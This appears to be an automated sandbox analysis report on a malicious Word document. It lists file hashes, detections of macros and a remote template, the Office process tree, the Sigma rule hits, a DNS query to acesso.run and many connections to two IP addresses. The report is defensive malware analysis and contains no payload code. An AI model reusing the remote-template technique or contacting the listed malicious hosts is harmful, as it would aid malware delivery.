Edit tour

Windows Analysis Report
AWB-M09CT560.docx.doc

Overview

General Information

Sample name:	AWB-M09CT560.docx.doc
Analysis ID:	1545123
MD5:	f7c1cf4cd91138f1c612b34717f6a3d4
SHA1:	fb22da61844c7ee52b306675a5315db6d9f76f37
SHA256:	9c7fcd1b7917d8a13309d4cc1bd0eee6959fb8ed06ed358326a6f828697e4fd6
Tags:	docdocxuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Contains an external reference to another file

Office viewer loads remote template

Sigma detected: Suspicious Microsoft Office Child Process

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 7404 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

splwow64.exe (PID: 2412 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

verclsid.exe (PID: 2676 cmdline: C:\Windows\SysWOW64\verclsid.exe /S /C {00020830-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5 MD5: 190A347DF06F8486F193ADA0E90B49C5)

EXCEL.EXE (PID: 7340 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding MD5: 4A871771235598812032C822E6F68F19)

EXCEL.EXE (PID: 3688 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding MD5: 4A871771235598812032C822E6F68F19)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\SysWOW64\verclsid.exe /S /C {00020830-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5, CommandLine: C:\Windows\SysWOW64\verclsid.exe /S /C {00020830-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\verclsid.exe, NewProcessName: C:\Windows\SysWOW64\verclsid.exe, OriginalFileName: C:\Windows\SysWOW64\verclsid.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 7404, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\verclsid.exe /S /C {00020830-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5, ProcessId: 2676, ProcessName: verclsid.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.45, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 3688, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 50098

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.4, DestinationIsIpv6: false, DestinationPort: 49736, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Initiated: true, ProcessId: 7404, Protocol: tcp, SourceIp: 104.21.74.191, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 7404, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: AWB-M09CT560.docx.doc

ReversingLabs: Detection: 21%

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:50098 version: TLS 1.2

Source: global traffic

DNS query: name: acesso.run

Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49863 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49864 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49865 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49866 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49867 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49868 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49869 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49870 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49871 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49872 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49875 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49873 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49874 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49876 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49877 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49878 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49879 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49881 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49880 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49883 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49884 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49886 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49885 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49887 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49888 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49889 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49890 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49891 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49892 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49893 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49894 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49895 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49896 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49897 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49898 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49899 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49900 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49901 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49902 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49904 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49903 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49905 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49906 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49907 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49908 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49909 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49910 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49911 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49912 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49913 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49914 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49915 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49916 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49917 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49919 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49918 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49920 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49921 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49922 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49923 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49924 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49925 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49926 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49927 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49929 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49928 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49930 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49931 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49932 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49934 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49933 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49935 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49936 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49937 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49938 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49939 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49940 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49941 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49942 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49944 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49943 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49945 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49946 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49947 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49949 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49952 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49948 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49951 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49953 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49954 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49955 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49957 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49956 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49958 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49960 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49959 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49961 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49962 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49963 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49964 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49965 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49967 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49966 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49968 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49969 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49970 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49971 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49972 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49973 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49974 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49975 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49976 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49977 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49978 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49979 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49980 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49982 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49981 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49983 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49984 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49985 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49987 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49986 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49988 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49989 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49990 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49991 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49992 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49993 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49994 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49995 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49996 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49997 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49998 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49999 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50000 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50002 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50001 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50003 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50004 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50005 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50006 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50007 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50008 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50009 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50010 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50011 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50012 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50013 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50014 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50015 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50016 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50017 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50018 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50019 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50020 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50021 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50022 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50023 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50024 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50025 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50027 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50026 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50028 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50029 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50030 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50031 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50032 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50033 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50034 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50035 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50036 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50037 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50038 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50039 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50041 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50040 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50042 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50043 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50044 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50046 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50045 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50047 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50048 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50049 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50050 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50051 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50052 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50053 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50054 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50055 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50056 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50057 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50058 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50059 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50060 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50061 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50062 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50063 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50064 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50065 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50066 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50067 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50068 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50069 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50070 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50071 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50072 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50073 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50074 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50076 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50075 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50077 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50078 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50079 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50080 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50082 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50081 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50083 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50084 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50085 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50086 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50087 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50088 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50089 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50090 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50091 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50092 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50093 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50094 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50095 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50096 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50097 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50098 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50099 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50100 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50101 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50102 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50103 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50104 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50106 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50105 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50107 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50108 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50109 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
